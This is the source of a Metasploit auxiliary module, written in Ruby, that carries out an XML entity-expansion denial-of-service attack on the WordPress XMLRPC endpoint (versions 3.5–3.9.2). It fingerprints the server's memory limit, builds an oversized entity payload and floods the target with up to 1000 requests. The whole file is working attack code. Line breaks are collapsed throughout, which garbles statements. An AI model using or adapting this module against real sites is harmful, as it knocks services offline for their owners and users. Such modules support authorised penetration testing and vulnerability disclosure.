## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core'class Metasploit3 < Msf::Auxiliary include Msf::HTTP::Wordpress include Msf::Auxiliary::Dos def initialize(info = {}) super(update_info(info, 'Name' => 'Wordpress XMLRPC DoS', 'Description' => %q{ Wordpress XMLRPC parsing is vulnerable to a XML based denial of service. This vulnerability affects Wordpress 3.5 - 3.9.2 (3.8.4 and 3.7.4 are also patched). }, 'Author' => [ 'Nir Goldshlager', # advisory 'Christian Mehlmauer' # metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ], 'DisclosureDate'=> 'Aug 6 2014')) register_options( [ OptInt.new('RLIMIT', [ true, "Number of requests to send", 1000 ]) ], self.class) register_advanced_options( [ OptInt.new('FINGERPRINT_STEP', [true, "The stepsize in MB when fingerprinting", 8]), OptInt.new('DEFAULT_LIMIT', [true, "The default limit in MB", 8]) ], self.class) enddef rlimit datastore['RLIMIT'] enddef default_limit datastore['DEFAULT_LIMIT'] enddef fingerprint_step datastore['FINGERPRINT_STEP'] enddef fingerprint memory_to_use = fingerprint_step # try out the available memory in steps # apache will return a server error if the limit is reached while memory_to_use < 1024vprint_status("#{peer} - trying memory limit #{memory_to_use}MB") opts = { 'method' => 'POST', 'uri' => wordpress_url_xmlrpc, 'data' => generate_xml(memory_to_use), 'ctype' =>'text/xml'} begin# low timeout because the server error is returned immediately res = send_request_cgi(opts, timeout = 3) rescue ::Rex::ConnectionError => exception print_error("#{peer} - unable to connect: '#{exception.message}'") breakendif res && res.code == 500# limit reached, return last limit last_limit = memory_to_use - fingerprint_step vprint_status("#{peer} - got an error - using limit #{last_limit}MB") return last_limit elsememory_to_use += fingerprint_step endend# no limit can be determined print_warning("#{peer} - can not determine limit, will use default of #{default_limit}") return default_limit enddef generate_xml(size) entity = Rex::Text.rand_text_alpha(3) doctype = Rex::Text.rand_text_alpha(6) param_value_1 = Rex::Text.rand_text_alpha(5) param_value_2 = Rex::Text.rand_text_alpha(5) size_bytes = size * 1024# Wordpress only resolves one level of entities so we need # to specify one long entity and reference it multiple times xml = '<?xml version="1.0" encoding="iso-8859-1"?>'xml << "<!DOCTYPE %{doctype} ["xml << "<!ENTITY %{entity} \"%{entity_value}\">"xml << ']>'xml << '<methodCall>'xml << '<methodName>'xml << "%{payload}"xml << '</methodName>'xml << '<params>'xml << "<param><value>%{param_value_1}</value></param>"xml << "<param><value>%{param_value_2}</value></param>"xml << '</params>'xml << '</methodCall>'empty_xml = xml % { :doctype => '', :entity => '', :entity_value => '', :payload => '', :param_value_1 => '', :param_value_2 => ''} space_to_fill = size_bytes - empty_xml.size vprint_debug("#{peer} - max XML space to fill: #{space_to_fill} bytes") payload = "&#{entity};" * (space_to_fill / 6) entity_value_length = space_to_fill - payload.length payload_xml = xml % { :doctype => doctype, :entity => entity, :entity_value => Rex::Text.rand_text_alpha(entity_value_length), :payload => payload, :param_value_1 => param_value_1, :param_value_2 => param_value_2 } payload_xml enddef run # get the max size print_status("#{peer} - trying to fingerprint the maximum memory we could use") size = fingerprint print_status("#{peer} - using #{size}MB as memory limit") # only generate once xml = generate_xml(size) for x in 1..rlimit print_status("#{peer} - sending request ##{x}...") opts = { 'method' => 'POST', 'uri' => wordpress_url_xmlrpc, 'data' => xml, 'ctype' =>'text/xml'} beginc = connect r = c.request_cgi(opts) c.send_request(r) # Don't wait for a response, can take very long rescue ::Rex::ConnectionError => exception print_error("#{peer} - unable to connect: '#{exception.message}'") returnensuredisconnect(c) if c endendendend